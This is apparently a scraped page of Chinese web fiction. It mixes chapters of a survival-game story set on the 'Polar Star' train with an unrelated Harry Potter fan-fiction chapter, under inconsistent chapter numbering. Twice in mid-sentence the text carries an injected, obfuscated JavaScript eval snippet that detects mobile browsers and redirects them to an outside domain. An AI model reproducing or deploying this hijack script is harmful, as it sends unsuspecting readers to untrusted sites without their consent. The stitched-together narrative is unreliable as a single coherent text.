一个年轻的玩家忍不住小声嘟囔：“她到底是人是鬼？怎么下手这么狠？”旁边的同伴连忙捂住他的嘴，眼神惊恐地看向汪橦的方向，生怕她听到。 早上醒来，“北极星号”上的工作人员们包括引荐汪橦的妮雅，看向她的眼神中都带着一丝敬畏。他们知道，汪橦虽然只是个普通玩家，但她的手段已经让整个列车的秩序都发生了改变。 列车长安德鲁站在车厢的连接处，目光紧紧盯着汪橦。他的眼神中掺杂着复杂的情绪，既有对汪橦手段的忌惮，又有对她身份的畏惧。 列车窗外，景色已经发生了巨大的变化。列车正缓缓驶入一片极地的区域，如同一片无垠的银色海洋。然而，随着列车的前行，气温开始逐渐下降。车厢内的温度计显示温度正在慢慢降低。列车的窗户上也开始凝结出一层薄薄的霜花，给这美丽的极地景色增添了一丝寒冷的气息。 在“北极星号”列车上，玩家们在经历了昨夜的血腥事件后，整个车厢的氛围变得异常压抑和紧张。尽管列车仍在前行，但玩家们的内心却如同被冻结在了极地的冰川之中。 林深在进入游戏前是一个年轻的程序员，他由于加班猝死在工位上而进入这款游戏。原本在看见这只是一个“生存类副本”后，他对这次“极地旅游团”副本充满了期待，希望能在这个豪华列车上度过一段轻松愉快的时光。 然而，昨夜的血腥事件彻底打乱了他的计划。他坐在自己的软卧车厢内，双手紧紧抓着膝盖，眼神时不时地望向车厢的门。他试图让自己保持冷静，但内心的焦虑却如同潮水般不断涌来。 他从背包中掏出一本电子书，试图通过阅读来分散注意力，但书中的文字仿佛在他眼前晃动，根本无法集中精神。他时不时地抬头，观察着车厢内的动静，生怕汪橦会突然出现。他的手指不自觉地在膝盖上敲打着节奏，试图缓解内心的紧张。 “要是能早点离开就好了。”他在心里反复念叨着，但又清楚地知道，目前的局势完全不在他的掌控之中。他只能等待，等待这个副本的结束，等待自己能够安全地回到现实世界。 陈岩是一个经验丰富的游戏玩家，他深知在这种复杂的副本中，只有掌握更多的信息，才能更好地保护自己。 他坐在餐车的角落里，面前摆着一张地图和一本笔记本。作为生存类副本，他认为“极地旅游团”后期很可能出现玩家间为了争夺求生资源而展开大逃杀地情况。 进入游戏前，陈岩是某国维和部队的一员，他的军人本性不允许他哪怕在游戏中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你们说，她到底想干什么？”高隽低声问李雯菡，眼神中带着一丝迷茫。 “恐吓我们所有玩家？反正我们尽量避免和她正面冲突。”李雯菡回答道。 在“北极星号”列车上，尽管白天的玩家们还沉浸在各自的情绪和计划中，但随着夜幕的降临，列车上的气氛似乎也悄然发生了变化。 晚上九点，广播中传来柔和的提示音：“各位乘客，欢迎来到列车的晚间活动。今晚，我们有幸邀请到了列车上的特别乐团，他们将在餐车为大家带来一场精彩的古典音乐演奏。欢迎大家前往餐车，享受这难忘的音乐之夜。” 广播声刚落，车厢内的玩家们开始陆续起身，尽管他们的心情各异，但仿佛被一种无形的力量牵引着，三三两两走向餐车。 餐车被精心布置过，原本摆放餐具和食物的长桌上铺上了深蓝色的天鹅绒桌布，上面摆放着精致的烛台和鲜花。柔和的灯光洒在餐车的每一个角落，营造出一种温馨而浪漫的氛围。车厢的两侧摆放着舒适的沙发和座椅，供玩家们落座。 而在车厢的尽头，一个小型的舞台已经搭建起来，上面摆放着各种乐器，包括小提琴、大提琴、钢琴和长笛等。 舞台上的灯光缓缓亮起，乐团的成员们依次登场。他们穿着统一的黑色燕尾服，显得庄重而优雅。指挥家站在舞台中央，微微鞠躬，向观众致意。 汪橦倚在吧台旁静静地聆听着，感受着音乐。当最后一首曲子的旋律渐渐消失在车厢内，玩家们陆续回到自己的车厢，列车上再次恢复了宁静。 24. 北极星号（4） 深夜的“北极星号”列车上，车厢内只有偶尔传来的轻微鼾声和列车行驶的轰鸣声。广播中早已宣布停电，车厢内的灯光熄灭后，整个列车陷入了黑暗之中。 玩家们在各自的软卧车厢内等待着，直到他们确认乘务员查寝结束。 林深一直等到确认周围没有动静后，才小心翼翼地从床上爬起来。他从背包中掏出一个小型手电筒，打开后，一束微弱的光线划破了黑暗。他轻轻推开门，探出头，确认走廊无人后，才缓缓走出房间。 林深的车厢在整辆列车中靠后，因此他谨慎地贴墙沿着走廊向前走，尽量让自己的脚步声最小化。他的心跳加速，但脸上却保持着冷静。他来到了餐车，轻轻推开门，借着月光，他看到餐车内的布置依然如故。 林深和汪橦一样，都是游戏里的新玩家，“极地旅游团”是他的第二个游戏主线副本。他走到吧台前，试图找到一些有用的东西。他的手在吧台的抽屉里摸索着，希望能找到一些可以当作武器的东西。 “要是能找到一把刀或者什么的，至少能防身。”他心里想着，但抽屉里除了餐具和一些杂物外，什么也没有。 他没有放弃，继续在餐车内搜索。他的勇气让他在黑暗中显得格外大胆，但也让他忽略了一些潜在的危险。 同一时间，另一车厢的陈岩正沿着走廊快速移动，不时地侧耳倾听，确认没有乘务员的动静。他的目标是列车最后一节的发电车厢，他想看看那里是否有什么线索可以利用。 高隽和几个朋友一起行动。她们商量好，分成两组，一组去探索列车的前半部分，一组去探索后半部分。高隽同李雯菡一起带着手电筒和一些简单的工具，小心翼翼地在车厢内移动。 “我们得小心点，别被乘务员发现了。”高隽低声提醒着同伴。她的目标是找到列车的监控系统，“要是能找到监控室，说不定能知道乘务员的下一步计划。”她心里想着。 另一侧，陈岩来到发电车厢的门口，轻轻推开门，看到里面摆放着各种设备。他的手电筒在设备上扫过，试图找到一些有用的东西。他的手突然触到了一个按钮，他犹豫了一下，还是轻轻按了下去。 瞬间，整个车厢的灯光亮了起来，玩家们纷纷被这突如其来的光线惊醒。他们纷纷探出头，看到发电车厢的灯光亮起，都意识到有人触动了设备。 陈岩被突如其来的灯光吓了一跳，迅速关掉了手电筒，躲在一台发电机后面。他的心跳加速，呼吸也变得急促。他知道自己可能已经暴露了，必须尽快离开这里。 就在这时，发电车厢的门被轻轻推开，一个身影悄无声息地走了进来。陈岩屏住呼吸，透过设备的缝隙，看到来人是一个穿着工装的女人，手里拿着一个工具箱。她的动作熟练而轻巧，显然对这里的环境非常熟悉。 “玛莲娜……”陈岩在心里默念着这个名字。他听说过她，列车的机械师，负责维护列车的各种设备。她的出现让陈岩感到更加紧张，但他也知道，自己不能轻举妄动。 玛莲娜一边嘀咕“今晚的电怎么突然恢复了……”一边走到一台设备前，开始检查仪表盘上的数据。她的动作很专注，似乎并没有注意到陈岩的存在。 陈岩趁机慢慢移动，试图从她身后溜出去。然而，就在他即将靠近门口时，玛莲娜突然停下了手中的工作，转过头来。 两人的目光在空气中交汇，陈岩的心一下子提到了嗓子眼。他站在原地，一动也不敢动，手心里全是冷汗。 玛莲娜看了他几秒，眼神中闪过一丝复杂的情绪。她并没有喊叫，也没有做出任何威胁的动作，只是轻轻叹了口气，低声说道：“你不该来这里。” 陈岩愣了一下，没想到她会这么说。他张了张嘴，想要解释，但玛莲娜已经转过身，继续她的工作，仿佛他根本不存在一样。 陈岩犹豫了一下，最终还是决定抓住这个机会。他迅速推开门，离开了发电车厢。走廊里依然安静，只有列车行驶的轰鸣声在耳边回荡。他深吸了一口气，快步朝着自己的车厢走去。 与此同时，餐车内的林深也遇到了意外。就在他翻找吧台的时候，餐车的门突然被推开，乘务员妮雅走了进来。两人四目相对，气氛瞬间变得紧张起来。 妮雅手里拿着一把小刀，眼神警惕地盯着林深。林深则举起双手，示意自己没有恶意。 “我只是想找点有用的东西。”林深低声说道，试图缓解紧张的气氛。 妮雅皱了皱眉，显然并不完全相信他。但她也没有进一步的动作，只是冷冷地说道：“这里没什么可找的，你最好赶紧离开。” 林深点了点头，慢慢后退，直到退到门口。他看了汪橦一眼，发现她的眼神中似乎有一丝犹豫和不安。他没有多说什么，转身离开了餐车。 回到自己的车厢后，林深靠在门上，长舒了一口气。他意识到，这趟列车上的人都不简单，每个人都有自己的目的和秘密。他必须更加小心，才能在这场游戏中生存下去。 另一边，高隽和李雯菡也顺利找到了监控室——监控室位于餐车和员工车厢即03、02号车厢间的一个小房间内。 她们小心翼翼地破解了门锁，进入房间后，发现里面布满了显示屏，显示着列车各个角落的实时画面。 “太好了，有了这个，我们就能掌握乘务员的动向了。”高隽兴奋地说道。 李雯菡点了点头，但她的表情依然严肃。“别高兴得太早，我们得尽快找到有用的信息，然后离开这里。” 两人开始快速浏览监控画面，试图找到一些线索。然而，她们并没有注意到，监控室的门正在缓缓关闭，门外传来了一阵轻微的脚步声…… “北极星号”的夜晚依然漫长，玩家们的行动才刚刚开始。每个人都在为自己的生存而奋斗。 02号车厢内，查完寝的汪橦回到自己的软卧车厢，轻轻关上房门。她坐在会客沙发上，翻开一本书。极地的深夜，窗外只剩下一片漆黑，什么都看不见。唯有眼前的琉璃桌灯流光溢彩，柔和的光线映照在书页上，让文字显得格外清晰。 她无意识地侧头，发现玻璃窗上的冰花正在以肉眼可见的速度蔓延。车厢内的电子屏显示车厢温度为11℃，这个数字比白天又下降了5℃。 寒意悄无声息地弥漫在车厢内，仿佛冰冷 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与此同时，高隽和李雯菡在监控室里紧张地操作着设备。显示屏上的画面不断切换，列车的每一个角落都尽收眼底。高隽的目光迅速扫过屏幕，试图找到任何异常的迹象。 “你看这里！”李雯菡突然指着其中一个屏幕，低声说道。画面中，一个身穿黑色风衣，扎着低马尾的深蓝色长发男人正大大方方地站在车厢连接处，似乎在等待着什么。 “这个人……我之前没见过。”高隽皱起眉头，“他看起来不像是普通乘客。” “我们需要弄清楚他的身份。”李雯菡迅速做出决定。 就在她们准备继续观察时，监控室的门突然发出一声轻微的“咔哒”声。两人同时回头，发现门已经被锁上了。门外传来一阵低沉的脚步声，逐渐远去。 高隽和李雯菡对视一眼，心中同时升起一股不祥的预感。门被锁上，脚步声远去，显然她们的行踪已经暴露。更糟糕的是，她们意识到，自己可能触发了某种机制，导致列车的安全系统进入了更高等级的警戒状态。 “我们得赶紧离开这里。”李雯菡低声说道，语气中带着一丝紧迫。 高隽点了点头，迅速环顾四周，试图找到逃脱的办法。她的目光落在房间角落的一个通风口上，指了指：“那里！我们从通风口爬出去。” 两人迅速行动，高隽爬上桌子，用力推开通风口的盖子。通风管道狭窄而昏暗，但此刻她们别无选择。李雯菡紧随其后，两人一前一后爬进了管道。 司寇站在车厢连接处，深蓝色的长发在灯光下泛着冷冽的光泽。他像是感应到了什么，突然抬头看向监控，假如高隽、李雯菡两人还在监控室，就会发现司寇注视的正是两人先前所站的位置，分毫不差。 他的目光如鹰隼般锐利，手中握着一台小型终端设备，屏幕上正显示着列车的安全系统状态。 似乎遗憾于没能看见高隽和李雯菡，司寇收起终端设备，迈步走回02号车厢。他的步伐稳健而从容，腰背挺直，嘴角却微微勾起：“看来，溜走了两只小老鼠。” 另一边，高隽和李雯菡终于找到了通风管的出口，从一处隐蔽的角落爬了出来。她们浑身沾满灰尘，但此刻顾不上整理，迅速躲回了自己空置的软卧车厢。 25. 北极星号（5） 今天是登上“北极星号”，作为乘务员被卷入“极地旅游团”副本的第七天。汪橦起了一个大早，洗漱完后拿起书本坐到车厢里的公共壁炉旁的会客沙发上继续翻阅起来。 进入封闭式副本后，她的手机无法与外界联系。因此汪橦不曾和医院护士沟通过现下沈观康复的情况。 车厢内的温度计显示当前车内温度为-44℃。公共壁炉里燃烧的炭火的热度微乎其微，但汪橦面色平静，似乎丝毫不受寒冷的影响。这是她身为乘务员的员工福利——无论车内环境如何，只要汪橦身着制服，她就能一直感受26℃的适宜温度。 自第二日早晨在餐车和玛莲娜谈过后，汪橦为了避免自己的出现带给部分玩家恐慌，近来一直深居简出。她放下书，起身走到暖气旁，试图靠近一些，她伸开五指感受到暖气的温度似乎也比平时弱了许多，无法给她带来足够的温暖。 列车在广袤的极地雪原上缓缓行驶，窗外是一片白茫茫的天地，狂风呼啸着，仿佛要将整个世界吞噬。 车厢内，尽管有暖气在拼命工作，但那微弱的热量似乎根本无法抵御这零下40多度的严寒。空气中弥漫着一种刺骨的冰冷气息，让人不寒而栗。 与汪橦一脸淡定相对比的是列车内的玩家们。玩家要么挤在会议室车厢里抱团取暖，要么独自缩在软卧车厢里的床铺上裹紧向乘务员们索要的列车免费提供的厚毛毯。 出现在会议室车厢里的每个玩家都裹得严严实实，厚重的羽绒服、保暖内衣、帽子、围巾、手套，甚至还有人穿上了雪地靴。即便如此，寒冷还是无孔不入地钻进他们的身体，冻得他们瑟瑟发抖。 这些玩家还是过了几个副本，有些家底的。饶是早早带上了防寒的衣物、毛毯、取暖器，高隽仍然在寒冷中难以集中精神。她戴着厚厚的毛绒手套，双手艰难地抱起一杯从餐车购买的热可可喂向嘴边。 而真正的新人玩家，如林深，连房门都不敢出，只能按响屋内桌铃，请乘务员提供取暖服务。 寒冷似乎无处不在，它从四面八方渗透进来，让人无处可躲。玩家们每一次呼出的气息都在空气中凝结成了一缕白烟。 列车的窗户上结满了厚厚的冰花，透过冰花的缝隙，可以看到外面的雪花在狂风中飞舞，像是无数白色的幽灵在空中乱窜。 在这种极端低温环境下，玩家们的身体机能受到了极大的影响。他们的手指变得僵硬，几乎无法弯曲，连简单的操作手机或拿东西都变得异常困难。 嘴唇干裂，呼出的每一口气都像是在喷出一团白色的雾气，而吸入的冰冷空气则像刀子一样割着喉咙，让人忍不住咳嗽。 随着时间的推移，玩家们的反应速度也明显变慢。有人试图站起来活动一下身体，但脚刚一落地，就感到一阵刺骨的寒意从脚底直冲大脑，身体瞬间失去了平衡，差点摔 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列车的轮轨声在耳边回响。汪橦忽然庆幸起自己一早就在妮雅的推荐下成为了乘务员，她意识到，在这种恶劣的环境中，任何一个小小的疏忽都可能带来致命的后果。而那个因为疏忽而失去生命的人，再也无法醒来，只能在冰冷的列车上，永远地沉睡下去。 “北极星号”永不疲倦地在雪原上行驶，汪橦在心里默默祈祷，希望剩下的旅程中，不会再有人因为寒冷而失去生命。 26. 北极星号（6） 斯内普在底下三只格兰芬多外加一个新出现的斯莱特林大麻烦制造的闹剧进行到一半时就已经用餐完毕。他一向不爱口腹之欲，专注地将眼前盘子里的牛排吃完后连甜点也没有吃，打算起身回地窖研制新的药剂。 在他起身时，他突然感知到周边有一丝奇怪的魔力波动。他警觉地看向魔力来源——那个伊莎贝拉.艾博正在对邓布利多宠爱的黄金男孩做什么！？ 更让他匪夷所思的是，格兰芬多其他人似乎并不怎么在意波特那里的动静，他们大声嚷嚷着像要把波特排除在他们之外。 斯内普看见伊莎贝拉.艾博一只袖子里露出来一个魔杖端，小心翼翼地用魔杖挑着一缕灰色的雾气塞进一个玻璃试管。 如果不是邓布利多要求他必须盯好波特和伊莎贝拉.艾博，他发誓他绝不会关心一个波特的安危，当他看见那个大难不死的男孩脸上浮现了开学以来第一个舒心的笑容时，他略放下心： 起码伊莎贝拉.艾博没有又想对着某人发出阿瓦达！波特状态很好！ 他按照原计划朝礼堂外走去，听见背后传来伊莎贝拉.艾博低缓的念咒声—— “飞来！” 某种金属链子抖动的声音在他的耳畔响起，他下意识低头发现自己的腰部被某种无形的力量束缚住向后拉去。 西弗勒斯.斯内普，尊贵的斯莱特林院长，霍格沃茨现水平最高的决斗大师，以极强的战斗意识飞速掏出魔杖带动气流向下劈去——“盔甲护身！” 气流砍在看不见的金属锁链上，振荡开离得最近的教师席餐桌上的盘碟餐食。一个甜甜圈咕噜噜滚到下方斯莱特林学生的脚边。礼堂里所有人都被突如其来的动静吸引住了目光—— 他们亲眼所见斯内普缓慢地转过身，长袍被震动的气流吹起，他挤出一丝熟悉的假笑，不，是狞笑——斯内普他生气了！ “艾博小姐，你是终于丧失了理智把你的教授当成了叛乱的妖精了吗？” 哈利、罗恩和赫敏三人同样目瞪口呆，不知道伊莎贝拉.艾博哪儿来的熊心豹子胆敢在斯内普的虎皮上拔毛。此刻三人统统僵在原处——不敢动，一点都不敢动！生怕引起斯内普的注意被扣分关禁闭。 哈利觉得就连乌姆里奇再用那根奇特的羽毛笔惩罚他也不怕了…更恐怖的是惹火斯内普…他内心一边祈祷着自己千万别被伊莎贝拉.艾博连累，一边担忧这个新交的朋友被老蝙蝠折磨。 拉文克劳和赫奇帕奇两院的学生大多沉浸于吃吃喝喝，直到现在才意识到有人公开在礼堂挑衅斯内普教授。但是正处事件中心的狮蛇们可是看得一清二楚，伊莎贝拉.艾博看见他们敬爱的斯莱特林院长笑了以后露出一个发自内心灿烂的笑容。 他们的内心咆哮着：你疯了吗！？ 礼堂里巨大的动静显然被费尔奇急吼吼地转达给了乌姆里奇，她来这儿本是为了刺探霍格沃茨隐藏的某些东西（显然魔法部长福吉是这么认为的）。后者快步踏入大厅，看见了一团糟的教师席和站的笔直的伊莎贝拉.艾博。 她短促地发出一声尖叫，紧接着用甜得发腻的声音喊道：“艾博小姐，你竟然攻击你的教授！” 她像是想到什么有趣的事，咧开嘴，肉麻地继续说道：“或许邓布利多教授对你的宽容促成了这一后果。你应该和波特先生明天晚上一起到我的办公室里关禁闭！” 坐在一旁的哈利从乌姆里奇进来的那一刻就感觉自己好像刚吞下一只苍蝇那般恶心，听见她要求伊莎贝拉和自己一起关禁闭，他感到血一下冲上了脑袋，耳朵里嗡嗡作响。 他偏过脑袋，正要直起身抗议对方的公报私仇，肩膀处被一个尖锐的木棍轻轻点了点。 哈利仰起头，原来是伊莎贝拉一边用右手持着魔杖示意他不要轻举妄动。他注意到乌姆里奇其实眼角余光里一直注视着他，似乎她很清楚他心里在想什么，正等着看他会不会再次发作，大喊大叫。 伊莎贝拉没有看向乌姆里奇，而是直视着斯内普，低声说了一句： “除你武器！” 斯内普一挥手打断了伊莎贝拉的咒语释放。伊莎贝拉面色平静，反观斯内普眉头拧紧，脸色阴沉得可以挤出水来，显然他被一而再再而三的冒犯逼到了容忍的底线。 他大脑运转： 伊莎贝拉.艾博绝不是格兰芬多那群蠢货，尽管只出现了三天，她的课堂表现却是得到了各个教授（除了黑魔法防御课上的乌姆里奇）的称赞，并且她在斯莱特林的学生里也游刃有余，她突如其来的冒犯应该隐藏着其他的目的。 他眼神扫过伊莎贝拉魔杖压住的波特肩膀——她甚至没有认真用魔杖对准自己。她不想伤到自己，而是在给自己发作的机会。 用魔杖对准敌人却能被半途打断施法的巫师具备的显著特征之一是“莽撞”，而这恰恰不会出现在一个出类拔萃的斯莱特林学生身上。 斯内普想到几分钟前伊莎贝拉.艾博按住哈利.波特的那只手，加上乌姆里奇来了以后她又念了一次咒语，她是想给自己正当理由关波特和她的禁闭？ 斯内普大步走近乌姆里奇，袍角翻滚着像一簇簇燃烧的黑色火焰，充斥着阴暗的生命力。 “把这个女孩和波特交给我。我要惩罚这两个不知轻重的学生。” “可是……”乌姆里奇尖声反驳被斯内普无情地打断： “艾博小姐的危险性想必开学典礼上你已经领略过了。我认为她和波特先生在谋划些什么，我可以熬一些吐真剂供你使用，不过这个月还是让她们两到地窖里去给我的材料打打下手？” 乌姆里奇想到她的确需要斯内普提供的吐真剂，点头同意了男人的建议。 “艾博小姐，恭喜你通过刚刚一系列的举动为你和波特先生争取到为期一个月的禁闭。还有你波特，明晚五点到地窖来。” 斯内普不容置疑地宣判了他给伊莎贝拉.艾博和哈利.波特的最终结果，对着礼堂施了一个“恢复如初”后抽身离去，留下礼堂众人恢复了喘气。乌姆里奇没能达成惩罚波特和伊莎贝拉.艾博的目的，悻悻离开。 伊莎贝拉松了一口气，对着用一股奇异的钦佩的眼神盯着她的救世主说道：“瞧？找斯内普教授求助有用吧！你有一个月的时间不必担心乌姆里奇加重你手上的伤口了。” “梅林在上，你胆子真大！”罗恩心有余悸地拍了拍胸口：“你没看见刚刚斯内普仿佛要杀人的表情，我还是第一次见到敢这么挑衅他的学生！” “没关系，”伊莎贝拉摆摆手。 哈利被伊莎贝拉的求助思路震撼了，换做是他无论如何也想不到可以用这样的方式找斯内普帮忙。或者说他和斯内普之间压根不可能存在“帮助”这样的词汇。 “总之，谢谢你，伊莎贝拉。”哈利斟酌着词汇，小心开口：“但是我的麻烦恐怕斯内普不会愿意帮我。只有邓布利多使唤得动他……”他有些心烦意乱地伸手弄乱了头顶本就乌糟糟的黑发，他不想让伊莎贝拉.艾博觉得自己是一个不懂感恩的人。 “你们的关系是这样的吗？”伊莎贝拉的疑惑反倒让哈利不解起来。伊莎贝拉说：“他的目光时不时停留在你身上，我还以为他是你的监护人之类的。” 哈利、罗恩、赫敏三人大惊失色，哈利恨不得捂上伊莎贝拉.艾博的嘴：“不是！我和他就像格兰芬多和斯莱特林。”哈利似乎意识到站在他面前的正是一个斯莱特林，后面的话他收了回去。 “不得不说，学院间的隔阂比我想象中要深太多。十九世纪大家可没有这么针锋相对。”伊莎贝拉再次拍了拍哈利的肩，转身朝斯莱特林那边走去。 “她为什么不坐在这里和我们一起？”哈利看着伊莎贝拉的背影，担忧是不是自己的话惹她生气了。果然自己会被认为是白眼狼吧。 赫敏白了哈利一眼，没好气地说：“你想害她被蛇院人排挤就直说。” 哈利和罗恩对视一眼，在赫敏灼热的视线下埋头解决起晚饭。 “你为什么要和一群格兰芬多的人走那么近？对面还有一个肮脏的泥巴种！”伊莎贝拉刚坐下，就收获来自右手边马尔福的质问。 伊莎贝拉扭头直视着眼前这个金发苍白的少年，微笑着说：“德拉科，我只是觉得自己初来乍到不应该表现得特别排斥某类巫师。不过我可以承诺你不用担心我和格兰芬多人会发展出特别深厚的友情。” 说罢伊莎贝拉耸肩继续说：“但我实在好奇，你为什么如此讨厌哈利.波特呢？毕竟他可是救世主，和他搞好关系总是没有坏处的。” 德拉科.马尔福原本脸色稍霁，听到伊莎贝拉的反问又拧起了淡金色的眉毛，像一条被踩到痛脚的小黄鼠狼，毫无威胁地呲牙咧嘴。 “他不过是个沾沾自喜的自大狂、撒谎精，终日和一群泥巴种厮混！我才不会和那种会玷污我马尔福家高贵名声的人做朋友！” 伊莎贝拉敏锐地抓住“撒谎精”，进一步询问德拉科：“撒谎精？哈利.波特说过什么谎？” 德拉科脸色唰白，想到在自家庄园里食死徒们的暗地集会，父亲卢修斯.马尔福的计划，他心里知道哈利.波特关于伏地魔回来的言论其实并不是一个谎言，但他仍然要坚定地站在对的一边。 “就是，关于神秘人的那些……”他语气轻飘，引得伊莎贝拉疑惑地上下打量他。 “你对那位神秘人怎么看的呢？”德拉科猝不及防抛出了这个问题，说完后他神情懊恼，显然他明白这不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958605|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个适合目前他能够跟伊莎贝拉.艾博聊的话题。 他们的关系还不足以支撑他问出如此紧要的话，如果伊莎贝拉.艾博的答案不符合马尔福家的利益……那么，德拉科有点喜欢这个纯血黑发实力强大的女巫，但是，他咬咬牙，就像哈利波特那样，他们也只能站在双方的对立面上了。 伊莎贝拉避开了这个问题，一手托腮，肯定地陈述道：“神秘人就是伏地魔。你却害怕得不敢说出他的名字。” 接着，她眼睁睁地看着德拉科白皙的脸庞霎时涨红，明明是级长，这时表现得倒像一个小孩，幼稚地否认自己并不是因为害怕而是因为尊敬、憧憬才不想直呼那位大人的全名，将自己反常的态度和原因泄漏了个干干净净。 顺带暴露了伏地魔确实回来的事实……否则他有必要露出一副毕恭毕敬仿佛下一秒就会听召前去伏地魔面前的样子吗？ “啊，理念不合。”伊莎贝拉冲德拉科笑笑，“但是这不会妨碍你和波特先生培养关系啊。我不明白，德拉科，虽然我们认识时长不久，但据我的观察，你可不是一个会因为幼稚的立场分歧而选择放弃隐藏的巨额回报的人。” “显然伏地魔跟波特先生必然你死我活，既然波特先生的名号如此响亮，他必然有跟那位大人势均力敌的力量。如果伏地魔不能百分百保证自己的胜利的话，你为什么不在波特先生身上同时下注呢？” 德拉科当然明白伊莎贝拉的潜台词——和哈利.波特交好，如果日后伏地魔再次失败了，那么马尔福家有救世主的友情庇护，也不会遭到魔法部的清算，还能仗着和波特的关系继续发扬光大家族生意。灵活，是马尔福的存身之道。 但是……他和波特一年级开学的时候就不可能处得来了！德拉科的后槽牙都快被他咬碎，想想那该死的疤头对自己爱答不理的模样，他就来气。 德拉科到底表情管理比不过伊莎贝拉，她将他的面部抽动一收眼底，全然猜到这小子估计是早早就向波特示过好，不过失败了恼羞成怒罢。 伊莎贝拉出言循循善诱地说：“我打算和波特先生培养一下同学关系，说不上好朋友，起码不交恶，留个好印象。到时候我帮你呀。有我牵线，你怕什么？” 伊莎贝拉可不喜欢立场鲜明地站在某一方，这纯属给自己找麻烦。而且她对这个时代没有归属感，她不想和周围人牵扯过深。 想到这里，伊莎贝拉眼眸幽深，她还有一件很重要的事亟待完成，她只是没有想好是趁霍格莫德日就去解决，抑或是放暑假的时候再去…… 德拉科扭捏地“嗯”了一声，终止了伊莎贝拉的思考。他似乎忘记自己原本是来兴师问罪的，反而被伊莎贝拉牵住了心绪走。此刻德拉科也懒得再指责伊莎贝拉带头“通敌”的罪名，草草点头示意转身离开了。 “嘿，德拉科！”德拉科转身后听到背后传来伊莎贝拉的声音，他扭头看向对方，对方一手托腮，笑意不加掩饰地映于那双浅橄榄绿色的眼底—— 她双唇微启：“我和斯内普教授持有相同的立场。” 话音未落，伊莎贝拉悠悠朝台上已经空出的那个座位扫去一眼，接着往嘴里塞了一块炸鸡排，快乐地品尝起来。 “艾博！” 伊莎贝拉下意识转头望向声音发出者。只见一个獾院的女孩正兴高采烈地对着另一个亚麻头发，尚未完全褪去婴儿肥的可爱圆脸女孩挥手喊到名字——“汉娜！” 原来是汉娜.艾博。某种意义上她的“近亲”。 伊莎贝拉转回头，继续咀嚼着鸡排。 回到霍格沃茨的第三天，正式上课的第二天。雨仍然下个不停，哈利一边抱怨着魁地奇选拔又要推迟，一边不情不愿地抱着书本来到冷清阴暗的地窖口碰巧遇上一分钟前踏入此地的伊莎贝拉。 傍晚五点钟，伊莎贝拉敲响了斯内普办公室的门。一道阴森的身影几乎陷于门后的黑暗中，为她们打开了大门。 伊莎贝拉走进斯内普办公室，发现没有炉火以至于地窖又冷又黑。今天天气阴沉而潮湿加剧了地窖办公室里的森冷气息。她摩擦着双臂，试图用眼神交流说服斯内普允许她和哈利在壁炉旁完成今天的禁闭。 斯内普当然注意到了伊莎贝拉的眼神，他对伊莎贝拉并无太大意见，作为优秀的斯莱特林校友，她的魔法造诣无可指摘。 他不得不承认对方那道飞来咒里蕴含强大的魔法力量，完全可以媲美霍格沃茨教授的平均水平，但是对自己的教授使用魔咒，斯内普很想给对方一个教训以提醒对方现在还没有毕业，不可以目无尊长。只是伊莎贝拉.艾博的身份确实尴尬，斯内普无可奈何。 转头一看，哈利.波特那个小崽子正伫立在伊莎贝拉.艾博的肩侧。 27. 北极星号（4） 昨天玛莲娜在餐车警告汪橦的一番话犹如预言，在所有玩家登上“北极星号”列车的第三天化作了现实。 一早，安全员司寇便敲响了列车长安德鲁所在的软卧房门。两人交谈一番后，很快安德鲁召集剩下的除了司机詹姆森外还在02号车厢的所有工作人员。 “昨晚有玩家闯入不该进入的地方，导致’北极星号’安全系统的防护升级，从而导致整个副本升级。现在，汪橦你按照我手里这份新的广播稿面向全列发布公告。其他人，从现在开始，一定要小心按照《员工工作守则》执行各自的任务。” 汪橦听完安德鲁的话，略微诧异。她怎么也想不到，离自己杀眼镜男儆其余玩家才过去一天，就有玩家误闯“禁地”。 她只消细想两分钟就明白了过来为什么会如玛莲娜所说，自己的行为会在列车上制造恐慌，最后陷入巨大的危机。 在原本的副本里，列车不断降温，在极寒情况下玩家们为争夺生存资源要么自相残杀，要么各显神通存活至最后一天。但是无论怎样，在这个副本中，玩家们不会对列车上的工作人员出手，例如劫持乘务员，要求提供保暖衣物、食物。 一方面，玩家们轻易不会对不知底细的NPC出手；另一方面，在这个生存类副本里，杀人的主要是饥寒交迫的外部环境，列车工作人员反而值得信任，玩家可以适当向他们求助。 这一次，由于汪橦“虐杀”在玩家心中播下了不信任的种子，成功制造出玩家对自身安全的恐慌，让他们现下在副本尚未降温至极寒前，比起忧虑自己如何防寒，竟然更加担心和乘务员间的关系。 于是，在昨晚，明明才登上列车副本后的第二天，玩家们就迫不及待地开始行动起来搜寻列车了。以往搜寻列车的行为会在后期不得不寻找列车上多余的防寒衣物、食物时玩家们才会这样做。 汪橦知道列车上的01号车厢、02号车厢、15号车厢，这三节司机车厢、工作人员休息车厢、发电车厢都是玩家禁入的。此外，02、03号两节车厢连接处的监控室小侧间属于安全员司寇，同样玩家禁入。 结果有玩家去到这些不该去的地方，导致整个副本难度升级。 在列车长安德鲁亲口说出“副本升级”以后，现在是乘务员的汪橦，脑中又涌现出大量新的信息。 “北极星号”除了每次执行“极地旅游团”的副本任务，还会同时帮大世界的大财团、大公司运输它们需要的货物。大世界的货物不能被玩家触碰到。 而此次这批货物的存放空间入口恰好在监控室里，副本升级后，“北极星号”安全系统同样升级，再有玩家误入禁地会被直接抹杀。同时，乘务员也不得进入监控室。监控室仅有司寇和列车长安德鲁拥有通行权限。 尽管自己的行为让副本难度升级，但是汪橦并没有太多的愧疚。因为她不得不这么做，乘务员空缺本就少见，这次挑中自己成了众矢之的。 如果她不表现得狠戾一些，后面生存资源愈发难得后，比起耗费力气夺取别人的东西，不如选择干掉弱势的乘务员取代对方成为NPC的想法会促使越来越多的玩家冲自己这个新乘务员下手。 